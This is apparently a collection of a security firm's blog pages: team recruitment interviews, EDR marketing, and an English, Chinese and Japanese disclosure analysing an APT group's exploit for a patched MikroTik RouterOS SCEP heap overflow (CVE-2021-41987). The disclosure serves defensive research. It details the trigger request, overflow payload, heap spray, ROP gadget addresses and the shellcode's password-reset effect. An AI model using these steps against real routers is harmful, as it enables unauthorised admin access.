在 IT 團隊中，時常需要和夥伴討論服務及架構有無符合安全性原則。我們團隊文化基於熱誠、學習的心，也才能針對多元的的服務、系統進行 debug。
在這邊，還可以進行各種資安相關的紅藍隊模擬，讓整個企業環境可以更安全。

### 這份工作覺得最有成就感的地方?
kerr: 
各種高難度與高複雜度服務與系統，都是由IT自己架設，達成最佳掌握度! 
包含: 公司網路及機房(IDC)的網路 HA 架構；資料中心(Data Center)；災難還原(Disaster Recovery)系統；設備及服務監控告警；檔案與系統備份。

### 你看履歷時，會特別注意哪些人才? 
kerr: 
對以下項目有實作經驗── 監控服務(例:Zabbix、Prometheus)、自動佈署(例:Ansible)、Syslog、NetFlow。
希望邀請能夠快速找出系統問題、採取有效方式解決的夥伴加入。

### 邀請 IT 系統維運的優秀人才加入的一段話!
kerr:
TeamT5 這邊是充滿挑戰性及創新的環境，注重和同事互相搭配及溝通，也很注重個人學習能力成長，在IT這邊可以摸到一般部門摸不到的硬體環境，更能瞭解地端的架構及整合。

>小編幫畫重點: 想在開心的環境裡，跟夥伴一同挑戰系統維運，就來投履歷吧! 詳細職缺說明請看我們的[人才招募頁面](https://teamt5.org/tw/careers/) !


[團隊介紹] IT 團隊

## 除了防火牆，企業更需要的防勒索資安工具: 端點偵測及回應 EDR 解決方案

### 企業資安的重要性
如同辦公室要上鎖，小偷才不會走進辦公室，破壞櫃子、偷財物。企業也必須做好資安防護，將電腦妥善上鎖，避免駭客溜進系統裡，把商業文件看光光，或把秘密賣給競爭對手。

### 落實企業資安的方法
過去企業常用防火牆(firewall)、入侵偵測系統(Intrusion Prevention System, IPS)，然而駭客變得越來越厲害，有各種繞過防火牆的方式，甚至可能是員工讓駭客進入系統，比如員工誤點釣魚信件。

建議企業應該治本，把員工連到公司系統的關鍵地方，如筆電、電腦等，裝上最聰明的防護工具──端點偵測及回應(Endpoint Detection and Response, EDR)，這類解決方案指的是透過 AI 人工智慧，辨識在系統大門前逗留、張望的可疑人士，如果有奇怪行為就把對方擋下，特別是影響各大企業的勒索軟體，如 WannaCry。

### TeamT5 小提醒
選擇端點防護工具 ThreatSonar Anti-Ransomware，透過自動防護系統，有效防禦勒索攻擊。
現在就連絡我們，採取行動，保護公司的電腦!

📞 電話: (02) 7706-1299
 
📩 Email: sevice@teamt5.org
 
🔏 諮詢表單 https://teamt5.org/tw/request-information


<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/UVSYBizHJ58" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</center>

除了防火牆，企業更需要的防勒索資安工具: 端點偵測及回應 EDR 解決方案

## Brief
In 2021, we discovered an open directory on Huapi’s C2. We found the source code contained an exploit aiming at Mikrotik routers. More specifically, our analysis found that the exploit would allow the attackers to send specially crafted payloads to achieve Remote Code Execution (RCE) via WAN without any authentications. The targeted RouterOS products include mikrotik-tile-6.46.8, mikrotik-vm-64.8, and mikrotik-vm-6.48.

TeamT5 alerted Mikrotik to patch this vulnerability upon discovery. The patch for this vulnerability was released on 2021/11/17 and can be downloaded from the official Mikrotik website. All affected organizations should update their RouterOS immediately to avoid actors’ exploitation.

HUAPI (aka BlackTech, Palmerworm, or PLEAD) has been active since 2007 and has been targeting Taiwan for over a decade. Huapi’s malwares are highly sophisticated, and some of them use unique anti-analysis packers. Some of Huapi’s malware utilized a modified RC4 algorithm to encrypt the malicious C2 communication. Huapi focused on governmental entities, technology or telecommunication industries, and think tanks. Our observation suggested that over half of the victims were governmental agencies in Taiwan, the United States, Japan, and South Korea.

### Attack vector
As a powerful and easy-to-use router, Mikrotik routerboard supports SCEP (Simple Certificate Enrollment Protocol), a service that was designed for simple certificate delivery. During transport, the binary data is encoded in Base64 via HTTP GET. Unfortunately, when processing the data from the payload, a miscalculation may occur if the payload is not properly formatted, potentially resulting in a Heap-based Buffer Overflow.

The open directory we had discovered contained exploit code that targeted ```mikrotik-tile-6.46.8```, ```mikrotik-vm-64.8``` and ```mikrotik-vm-6.48```, along with their corresponding shellcode snippets. In the following sections, we will be analyzing the exploit code that was designed for ```mikrotik-vm-6.46.8```.

#### Root cause analysis
By sending the following payload, we can cause the service ```www``` to crash and potentially trigger a Heap-based Buffer Overflow.

 ```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n```

The crash can be traced back to the function ```base64Decode```, located under ```ScepRequest::parseRequest``` from ```/nova/lib/www/scep.p```. When unpacking the Base64 request, the following code is used to calculate the output buffer size,

```output_buffer_length = 3 * (input_buffer_length >> 2)```

…which may cause a miscalculation of the output buffer, resulting in an insufficient memory allocation from ```malloc```, leading to a heap overflow.

![Mikrotik 1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_1_3b141d6955.png)


#### What happened?

For instance, we assume that the our input data is ```xxxxxxxxxxxxxxxxhCE```, and the length of input buffer is 19. Based on the decompiled code, ```out_len = 3 * (input_len >> 2)``` which is ```out_len = 3 * (input_len // 4)``` (double slashes represent integer division), thereby allocating 12 bytes as decoded data buffer. However, the decoded data buffer should be 14 bytes instead of 12. This oversight allows the attacker to overwrite data in heap.

#### Overview of the exploit flow
According to the chunk-recycling mechanism, by overwriting the chunk size of a chunk in bins to a larger value (```0x4121```), the next ```malloc``` call will return a heap chunk overlapped with allocated chunks. This will lead to a heap overflow when writing to the chunk.

The part which will be overwritten is a vtable pointer in a destructor (```sub_8052E90```) function, and by setting the register ```edx``` to ```0x8061a74```, the instruction ```call [edx+4]``` will execute the gadget at ```0x8058e89``` ( ```xchg eax, ebp; ret;``` ) and execute the shellcode after pivoting the stack to the attacker-owned buffer.

![Mikrotik 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_2_ccf3d68d2e.png)


#### Heap spray
The attacker can begin heap spraying by requesting 64 concurrent connections, and close some of them in order to let the vtable pointer be overwriten by the heap overflow later.

![Mikrotik 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_3_fe1501df37.png)

The function ```aaaa``` assembles the ROP gadgets, and the variable ```sc``` contains the shellcode for execution.
![Mikrotik 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_4_a90ea7d1c9.png)

#### Trigger heap overflow
The function ```bbbb``` sends the payloads to the victim server in the aforementioned format.

![Mikrotik 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_6_17cf9a40dd.png)

The parameter message (```'x'*801*4+'hCE'```) in the function ```bbbb``` will overwrite the size of next chunk. Here in gdb , it shows that the parameter message has been decoded to ```c7 1c 71 84 21``` at ```0x80859f0```, and the last byte ```\x21``` has been written as the next chunk size at ```0x80859f4```.

![Mikrotik 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_7_d1f398ad3a.png)

#### Attempting to retrieve the oversized chunk on heap
![Mikrotik 8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_8_69ec279783.png)

In order to retrieve the overflowed chunk, we need to send out more request. At some point, the register ```edx``` will be set to ```0x8061a74``` when the attempt reaches ```i=3```.

![Mikrotik 9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_9_0ea232d0c5.png)

#### Trigger destructor
The final step of the exploit, set off destructor  ```call [edx+4]``` by closing connections.
![Mikrotik 10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_10_3d19ac41ab.png)

#### Fingers crossed
Thanks to the heap spraying at the initial phase of the exploit, the data in the address ```0x8061a74``` will be modified, thus the instruction ```call [edx+4]``` will end up calling ```0x8058e89``` instead (the address of gadget ```xchg eax, ebp; ret;```) and start executing our gadgets.

![Mikrotik 11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_11_936def75c5.png)

Once the gadgets have been hit, ```0x8058e89: xchg eax, ebp; ret``` and ```0x8052eb9: leave``` will allow us to pivot from the stack to the controllable buffer and start to execute our ROP chain from ```0x804fbfc```.

The ROP chain will try to increase the address of ```open``` to the address of ```mprotect```, and the ```0x804fc04: pop esp; ret;``` will set ```esp``` to ```0x8061a74+8``` to wrap up the ROP chain. Lastly, calling ```mprotect``` and jump right into the shellcode (```0x8061674```).

![Mikrotik 12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_12_85dcd691f7.png)

In the exploit, the shellcode can be interpreted as ```unlink('/nova/store/user.data') + sync() + reboot()```, after the target device has finished rebooting. The attacker should then be able to login into web service as admin without a password.

### Conclusion
To wrap up, let’s go over the exploit code once again:

**1. Low stability**

- Since ```add()``` does not work in our favor and that ASLR is enabled by default, the exploit chain may fail on the first try.
- Occasionally, even though the ```/nova/store/user.dat``` file will be deleted, the device does not end up rebooting. The shellcode may require extra improvements to make it more stable.
- Even in best case scenario, the success rate is only about 5~6%.
- Thankfully, in the event where the attack attempt fails, the watchdog process will restart the ```www``` service for us. This ensures stability and allows the attacker to not cause noticeable disruption during the attack.

**2. Strict prerequisites**

- The attacker must be aware of the path name ```scep_server_name``` before being able to begin such attack.

**3. Disclosure Timeline**

```2021/07/11```: Acquire exploit codes from the open directory

```2021/10/04```: Responsible disclosure to Mikrotik and reserved CVE-2021-41987

```2021/11/17```: Official patch released

```2022/03/01```: Full disclosure released

**4. Affected versions of RouterOS**
- ```6.46.8```
- ```6.47.9```
- ```6.47.10```

### About TeamT5 D39
D39 is committed to the field of vulnerability security and vulnerability discovery. The research scope includes systems and devices that are connected to the Internet, such as mobile devices, IoT devices, Linux, and Windows. Our team has held a number of critical or important vulnerabilities and has conducted presentations across various major security conferences, such as Blackhat, HITCON, etc.

Exploit research has always been one of the most advanced fields in network attack and defense. TeamT5 expects to invest resources to cultivate more talents to enter this field, and expects to have more and more world-leading vulnerability research talents in Taiwan. We welcome those who dare to face unknown challenges, are committed to vulnerability research and discovery, and have independent research capabilities to join us. 🤝

### Reference
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*Image courtesy of Pixabay

Vulnerability Exposure & Notification on Mikrotik (CVE-2021-41987) 

## 前言
APT 駭客組織 Huapi 自 2007 年開始活躍至今，攻擊台灣超過 10 年的時間。TeamT5 觀察到 Huapi 所開發的惡意程式，有時會使用加殼來阻擋研究人員分析，且通常會使用修改後的 RC4 演算法來加密傳輸。Huapi 長期攻擊政府、高科技、電信或研究智庫單位，根據 TeamT5 的統計結果，超過 5 成的受害單位為政府機關，受害國家包含台灣、美國、日本及南韓，其中針對台灣政府機關進行入侵攻擊為多。

仰賴於長期的追蹤及觀察，我們在一台中繼站發現公開目錄，目錄中存在一組針對 Mikrotik SCEP 服務的 0day 攻擊程式碼。在確定弱點存在後，我們也將弱點的相關成因回報給 Mikrotik 官方，讓官方可以在第一時間內進行修補開發，以避免該弱點繼續被惡意攻擊者進行利用。

Mikrotik 官方於 2021/11/17 釋出了修正版本，請有使用到受影響版本的用戶盡速升級，以免遭受危害。這裡我們將完整揭露攻擊程式的利用細節及漏洞原理，讓我們一窺 APT 駭客組織都是怎麼為達目的、不擇手段。

### 攻擊程式包分析
作為一個功能強大且簡單易用的路由器，Mikrotik routerboard 也支援簡單憑證註冊通訊協定(Simple Certification Enrolling Protocol, SCEP)，來讓其他終端裝置可以簡便的取得所需之憑證。在協定交互的過程中，所有二進位資訊都會使用 base64 編碼之後再進行傳送，但由於 Mikrotik SCEP 服務在進行 base64 解碼的時候計算錯誤，會導致 Heap-based buffer overflow 的發生。

攻擊程式碼(以下簡稱 exploit)總共包含了針對三個不同版本的 exploit code 分別是 ```mikrotik-tile-6.46.8```、```mikrotik-vm-64.8```與```mikrotik-vm-6.48```，及其相對應版本的 shellcode 用以攻擊成功之後執行額外的惡意指令。

以下是我們針對版本 ```mikrotik-vm-6.46.8``` 進行的exploit分析。

### 弱點根因
透過一個簡單的 HTTP 請求:

```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n```

將可以很容易的讓 ```www``` 這個負責 HTTP 服務的 binary 崩潰，並被 watchdog 重新啟動。

經過一番逆向工程後可以發現，位於 ```/nova/lib/www/scep.p``` 中的 ```ScepRequest::parseRequest```，在解開 base64 編碼的 ```message``` 參數時，由於計算解編碼後的資料長度出現錯誤，導致 malloc 分配出來的大小不足，進而造成 heap overflow：
![Mikrotik 1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_1_3b141d6955.png)

### 讓 Base64 變成漏洞，是不是搞錯了什麼 ?
舉例來說，假設我們的輸入資料是 ```xxxxxxxxxxxxxxxxhCE``` 長度為 19，依照逆向後的程式邏輯來看，SCEP 計算出解編碼後的長度是12 ``` out_len = 3 * (in_len // 4)``` (這邊的 ```//``` 為整數除法)。但實際上解編碼後的資料長度為 14，這就直接導致了 heap 上的資料被覆蓋的問題。

### 漏洞利用
透過分析 exploit code 我們可以發現，攻擊者使用上述漏洞將 bins 中的某個 chunk size 改大 (0x4121)，之後再次 malloc 將會拿到這個過大的 chunk 屆時便可以覆寫 heap 上的內容。

覆蓋某個 destructor 中會用到的 vtable pointer，將 ```edx``` 改成 ```0x8061a74``` 使得 ```call [edx+4]``` 執行位於 ```0x8058e89``` 的 gadget (```xchg eax, ebp; ret;```)。

![Mikrotik 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_2_ccf3d68d2e.png)

#### 堆噴灑
首先發起 64 個請求做 heap spray 將我們要的 gadget 與 shellcode 隨著連線請求灑到 heap 上，並將其中一些連線關閉來讓 heap chunk 可以被 overflow 覆蓋到 vtable pointer。

![Mikrotik 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_3_fe1501df37.png)

這裡用到的 function ```aaaa``` 會將後續所需要的 ROP gadgets 組合起來，function 中的變數 ```sc``` 表示後面會被執行到的 shellcode。

![Mikrotik 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_4_a90ea7d1c9.png)

#### 觸發堆溢出
透過呼叫 function ```bbbb``` 會將我們的 payload 使用前面提過的型式送出用以觸發 heap overflow。

![Mikrotik 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_6_17cf9a40dd.png)

在 function 中的參數 message ```'x'*801*4+'hCE'```，會在 base64 解編碼的同時由於前述的計算錯誤，將導致下一個 chunk 的 size 會剛好被覆蓋到。
![Mikrotik 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_7_d1f398ad3a.png)


#### 嘗試重新取得被覆蓋到 size 的 chunk
後續透過繼續新增請求的方式，嘗試取得被改大的 chunk，overflow 的內容可以改到在 vtable 裡的 pointer。

![Mikrotik 8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_8_69ec279783.png)


在 ```i=3``` 時，會讓 ```edx``` 的值改成 ```0x8061a74```。
![Mikrotik 9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_9_0ea232d0c5.png)


#### 觸發 destructor

最後透過關閉連線的方式，觸發 destructor ```call [edx+4]```
![Mikrotik 10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_10_3d19ac41ab.png)


#### 幸運爆擊
由於一開始的 heap spray，```0x8061a74``` 會變成某個一連線時填入的內容，因此 ```call [edx+4]``` 會變成呼叫 ```0x8058e89```。

![Mikrotik 11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_11_936def75c5.png)


一旦成功進到 ROP gadget，這個 ROP chain，會將 ```open@got``` 改成 ```mprotect```，使用 gadgets，嘗試把 ```open``` 變成 ```mprotect```。

![Mikrotik 12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_12_85dcd691f7.png)



```0x804fc04: pop esp; ret;``` 會把 ```esp``` 改成 0x8061a74+8，接回完整 ROP chain。 最後呼叫 ```mprotect``` 使執行流進到 shellcode (```0x8061674```) 上執行。

該份 exploit 中 shellcode 的內容為，```unlink('/nova/store/user.dat') + sync() + reboot()```。 等待重新啟動之後可以發現 Web 介面可以不使用密碼直接登入。

### 結論
透過上面的分析可以發現這個攻擊程式碼(exploit)有幾個侷限性：

**1. 穩定性較低**
- 由於 ```add()``` 沒有處理進位，又有 ASLR 的緣故，運氣不好的話將直接導致攻擊失敗。
- 在嘗試重現的過程中我們也發現到，有時候 shellcode 已經正常執行 (```/nova/store/user.dat``` 已經被刪除)，卻未如預期般重新啟動，這部分需要改進 shellcode 來增加成功機率。
- 在嘗試重現的同時，我們也試圖透過修改 exploit 及 shellcode 來增加其穩定性，但最後成功率仍只有約略為 5~6%。
- 唯一值得慶幸的是，倘若攻擊失敗也只是會造成 ```www``` crash 後被 watchdog 重新啟動，並不會對使用上造成太大困擾或是引起使用者注意。

**2. 攻擊前提嚴格**

如根因所述，```scep_server_name``` 須為已知，若沒有這個 path 基本上也無法進行攻擊。

**3. 回報時間軸**

- ```2021/07/11```: 在 C2 發現 exploit code
- ```2021/10/04```: 回報給 Mikrotik 官方, 保留編號 CVE-2021-41987
- ```2021/11/17```: Mikrotik 官方釋出更新修正該弱點
- ```2022/03/01```: 公開 CVE-2021-41987 相關細節

**4. RouterOS 受影響版本**

- ```6.46.8```
- ```6.47.9```
- ```6.47.10```

### 關於 TeamT5 D39 漏洞研究團隊
D39 致力於弱點安全與漏洞挖掘領域，研究範圍包含 Mobile、IOT、Linux、Windows 等有機會連網的系統與裝置都是我們的目標（笑），團隊擁有多項重大（Critical）或重要（Important）之安全漏洞，並於 Blackhat、HITCON、POC 等國際會議擔任講者。

攻擊程式碼(exploit)研究一直是網路攻防裡面最高深的技術之一，TeamT5 期許投入資源來培養更多人才進入這個領域，期待台灣能有越來越多世界頂尖的弱點研究人才。歡迎勇於面對未知挑戰，致力於漏洞研究、挖掘為目標，並具有獨立研究能力者一同加入我們 🤝

### 參考
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*首圖來源: Pixabay

Mikrotik 漏洞揭露與通報 (CVE-2021-41987)

## はじめに
APTのハッカー組織Huapiは、2007年から活動を開始し、10年以上台湾に攻撃を仕掛けています。TeamT5は、Huapiが開発したマルウェアについて、研究員の解析を防ぐためにパッキングされていることがあり、通常は変更されたRC4のアルゴリズムで暗号化して送信されることを確認しました。Huapiは長期にわたり政府、ハイテク、電気通信、研究、シンクタンク機関を攻撃しており、TeamT5の統計では、被害者の50%以上が政府機関となっています。台湾、アメリカ、日本、韓国などが被害を受けており、多くの侵入や攻撃が台湾の政府機関を狙ったものであることが確認されました。

長期的な追跡と観察により、当社はC&Cサーバでの公開ディレクトリにMikrotik SCEPサービスを対象とした0dayエクスプロイト一式が含まれていることを発見しました。脆弱性の存在を確認した後、当社は脆弱性が発生する原因をMikrotikに報告しました。これにより、直ちに修正パッチを開発し、この脆弱性を利用した継続的なマルウェアの攻撃を防ぐことができました。

Mikrotikは、2021年11月17に公式の修正バージョンを公開しています。影響を受けるバージョンを使用しているユーザーは、被害を避けるためにできるだけ早くアップデートしてください。当社はここで攻撃プログラムの詳細と脆弱性が生まれる原理の詳細を明らかにします。目的のためなら手段を選ばないAPTハッカー組織のやり方を見てみましょう。

### 悪意のあるパッケージの解析
Mikrotik routerboardは、強力な機能性と簡易性を備えたルーターとして、他の端末装置が必要な証明書を簡単に取得できるよう、SCEP（Simple Certification Enrolling Protocol）をサポートしています。プロトコルの相互作用において、すべてのバイナリデータはbase64エンコード後に送信されますが、Mikrotik SCEPサービスによるbase64デコードの計算エラーが、Heap-based buffer overflowを引き起こします。

エクスプロイト（exploit）には、3つのバージョンを対象としたexploit code```mikrotik-tile-6.46.8```、```mikrotik-vm-64.8```、```mikrotik-vm-6.48```および攻撃成功後にコマンドインジェクションを追加するため、バージョンに応じたshellcodeが含まれています。

以下は、当社がバージョン```mikrotik-vm-6.46.8```に対して行ったexploitの解析です。

### 脆弱性の根本的な原因

シンプルなHTTPリクエスト：

 ```GET /scep/{scep_server_name}?operation=PKIOperation&message={} HTTP/1.1\r\n``` 

```www``` というHTTPサービスを担うbinaryを簡単に破壊し、watchdogで再起動することができます。

リバースエンジニアリングにより、 ```/nova/lib/www/scep.p``` の ```ScepRequest::parseRequest``` がbase64エンコードの ```message``` パラメータをデコードする時、データの長さの計算にエラーが発生することでmallocの割り当てが不足し、heap overflowが発生することを発見しました。
 
![Mikrotik 1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_1_3b141d6955.png)
 

### Base64が脆弱性になるのは、何かの間違いではないか
例えば、 ```xxxxxxxxxxxxxxxxhCE``` という長さ19のデータを入力した場合、リバースエンジニアリング後のプログラミングロジックの観点から、SCEPはデコード後の長さを12として計算します。 ``` out_len = 3 *（in_len // 4）``` （ここでの```//```は整数の除法です）。しかし、実際のデコード後のデータの長さは14で、これがheapのデータが上書きされる問題につながります。

### 脆弱性の利用
当社は、exploit codeの解析により、攻撃者は上記の脆弱性を利用してbinsの特定のchunk sizeをより大きなサイズの（0x4121）に変更し、続いてmallocが大きくなったchunkを取得する時にheapの内容を上書きすることを発見しました。

特定のdestructorで使用されるvtable pointerを上書きして ```edx``` を ```0x8061a74``` に変更し、 ```call [edx+4]``` が ```0x8058e89``` のgadgetを実行するようにします（ ```xchg eax, ebp; ret;``` ）。
 
![Mikrotik 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_2_ccf3d68d2e.png)
 
#### ヒープスプレー
はじめに、64のheap sprayをリクエストし、接続リクエストと同時に必要なgadgetとshellcodeをheapにスプレーします。heap chunkのoverflowによってvtable pointerが上書きされるように一部の接続は閉じられます。
 
![Mikrotik 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_3_fe1501df37.png)
 
ここで使用されるfunction ```aaaa``` は、後で必要となるROP gadgetsを組み合わせます。functionの変数```sc```は、後で実行されるshellcodeを示しています。
 
![Mikrotik 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_4_a90ea7d1c9.png)
 
#### ヒープオーバーフローのトリガー
function ```bbbb``` を呼び出すと、前述のパターンでheap overflowをトリガーする当社のpayloadが送信されます。
 
![Mikrotik 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_5_7049e384ab.png)
![Mikrotik 6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_6_17cf9a40dd.png)
 
functionのパラメータ message ```'x'*801*4+'hCE'``` は、base64デコードと同時に前述の計算エラーにより、次のchunkのsizeがちょうど上書きされます。
 
![Mikrotik 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_7_d1f398ad3a.png)
 

#### sizeが上書きされたchunkの再取得を試みる
続いて、リクエストを追加し続け、サイズを大きくされたchunkの取得を試みることで、overflowの内容をvtableのpointerに変更することができます。
 
![Mikrotik 8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_8_69ec279783.png)
 

```i=3``` の時、 ```edx``` の値が ```0x8061a74``` になります。
 
![Mikrotik 9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_9_0ea232d0c5.png)
 

#### destructorのトリガー 


最後に接続を閉じることで、destructor ```call [edx+4]```をトリガーします。
![Mikrotik 10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_10_3d19ac41ab.png)


#### 幸運を祈る
最初のheap sprayにより、 ```0x8061a74``` のデータアドレスが変更されるため、 ```call [edx+4]``` が ```0x8058e89``` を呼び出すようになります。
 
![Mikrotik 11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_11_936def75c5.png)
 

ROP gadgetへのアクセスが一度成功すると、このROP chainが ```open@got``` を ```mprotect``` に変更し、gadgetsを使用して ```open``` を ```mprotect``` に変更しようとします。

![Mikrotik 12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_12_85dcd691f7.png)



```0x804fc04: pop esp; ret;``` は ```esp``` を0x8061a74+8に変更し、完全なROP chainに再接続します。 最後に ```mprotect``` を呼び出し、shellcode ( ```0x8061674``` )にジャンプして実行します。

このexploitのshellcodeの内容は、 ```unlink('/nova/store/user.dat') + sync() + reboot()``` です。 再起動後、Webインターフェースでパスワードを使わなくてもログインできることが確認できます。


### 結論
上記の解析により、このエクスプロイト（exploit）には、いくつかの制限があることを確認しました：

**1. 安定性が低い**
- ```add()``` は、けた上げ数を処理せず、ASLRがあることから、運が悪ければ攻撃の失敗に直接つながります。
- 再現を試みる過程で、当社もshellcodeが正常に実行されているにも関わらず（ ```/nova/store/user.dat``` が削除されている）、予想通りに再起動しないことがあることを発見しました。この部分については、shellcodeを改良して成功率を上げる必要があります。
- 再現を試みながら、当社もexploitとshellcodeの修正により安定性を高めようとしましたが、最終的な成功率は約5～6%にすぎませんでした。
- 唯一幸いだったのは、攻撃が失敗しても ```www``` がcrashしてwatchdogが再起動されるだけで、使用上に大きな問題はなく、ユーザーの目につくこともないという点です。


**2. 攻撃のための厳しい前提条件**

根本的な原因として述べたように、 ```scep_server_name``` を認識している必要があり、このpathがなければ、基本的に攻撃することはできません。

**3. 開示のタイムライン**

- ```2021/07/11``` : C2でexploit codeを発見
- ```2021/10/04``` : Mikrotikに報告、識別番号CVE-2021-41987を予約
- ```2021/11/17``` : Mikrotikがこの脆弱性を修正するアップデートを公開
- ```2022/03/01``` : CVE-2021-41987に関する詳細を開示

**4. 影響を受けるRouterOSのバージョン**

- ```6.46.8``` 
- ```6.47.9``` 
- ```6.47.10``` 

### TeamT5 D39脆弱性研究チームについて
D39は脆弱性のセキュリティと脆弱性の発掘に取り組んでおり、研究範囲には、Mobile、IOT、Linux、Windowsなど、インターネットに接続されるシステムやデバイスのすべてが含まれます。重大（Critical）または重要（Important）なセキュリティ脆弱性に関する豊富な経験を有し、Blackhat、HITCON、POCなど国際的なカンファレンスで講演を行っています。

エクスプロイト（exploit）の研究は常にインターネットの攻防における最先端技術の一つとなっており、TeamT5は、台湾において世界トップクラスの脆弱性研究者がますます多くなることを目指し、より多くの人材を育成するためにリソースを投入しています。当社は、勇気を持って未知の挑戦に立ち向かい、脆弱性の研究や発見という目標に向かって力を注ぐ独自の研究能力を備えた人々の参加をお待ちしています。 🤝

### 参考文献
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*画像のソース: Pixabay

Mikrotik 脆弱性の開示と届出（CVE-2021-41987）

DevOps 團隊是 TeamT5 技術部門的重要基礎，維護我們解決方案的穩定度，更是為客戶防禦勒索軟體、抵擋入侵的重要推手 !

DevOps 團隊負責人 Jethro 和小編們分享團隊的工作日常，邀請優秀人才一同加入!

## DevOps 平常在做什麼?
Jethro: 將現有測試與發布流程流程自動化，建立相關環境，並串接監控現有服務。如近期正在做掃描引擎的自動化測試、部署流程：掃描引擎編譯後自動派送到各平台測試、並部署引擎到測試站台，如果遇到測試掃描錯誤的情況，還能對測試站台退回已部署的引擎版本。

> 小編幫畫重點: 每天在公司內部專用通訊軟體，進行非同步回報即可，會議少~


### TeamT5 的 Devops 跟其他公司會有什麼不同的地方? 
Jethro: 由於 TeamT5 產品部署至 Windows、Linux、Mac OS，因此會偏重跨平台的自動化測試，團隊成員會同時接觸到這三種作業平台的持續整合 CI /持續部署 CD 流程

> 小編幫畫重點: TeamT5產品更因為要部署到許多客戶端，端點數量大(一萬起跳)，需要團隊謹慎規劃


### 你覺得 TeamT5 的團隊風格、文化是?

Jethro: 開放對於新技術或框架的探索，並重視自主行動的能力

> 小編幫畫重點: 尊重每個成員的新探索，使用公司內部通訊軟體討論，下班不會被工作訊息打擾 ~
 

### 你覺得一位好的 DevOps 工程師需要甚麼特質或經驗? 

Jethro: 具備工匠精神，對於開發有所堅持，既有自發的追求極致的動力，追求工作流程的自動化與流暢運作


> 小編幫畫重點: 開發各面向，如:程式的可讀性、可維護性、容錯率，都是需要優秀團隊進行不停鑽研與優化的喔~


### 這份工作覺得最有成就感的地方?
Jethro: 看到原本複雜的流程可以精簡，自主運作起來的那一刻，心情十分暢快。


### 看履歷時，會特別注意哪些人才?
Jethro: 
- 有相關系統使用經驗，如gitlab、K8s、ELK
- 有實作經驗，如持續整合 CI /持續部署 CD 流程，Python專案、跨平台測試
- 大型系統的規劃、實作經驗

> 小編幫畫重點: 實作經驗、實作經驗、實作經驗，很重要所以說三遍~ 詳細職缺需求就請看[職缺頁面說明](https://teamt5.org/tw/careers/)!

### 邀請 DevOps 優秀人才加入的一段話!
Jethro: DevOps 今年獨立為單一團隊，會更忙碌、同時發展空間更大，可以自己規劃對公司有更好貢獻的目標；同時工時也滿彈性，還有各種社團活動和休閒活動

> 小編幫畫重點: 滿滿福利就請看[職缺頁面說明](https://teamt5.org/tw/careers/)囉~

[團隊介紹] DevOps 團隊

端點偵測與回應(EDR)解決方案是企業抵擋勒索軟體、勒索病毒威脅的重要關鍵，選用適合的 EDR 解決方案，更可保護企業的重要檔案不被駭客鎖住、加密!

## 什麼是端點偵測與回應(EDR) 解決方案

 

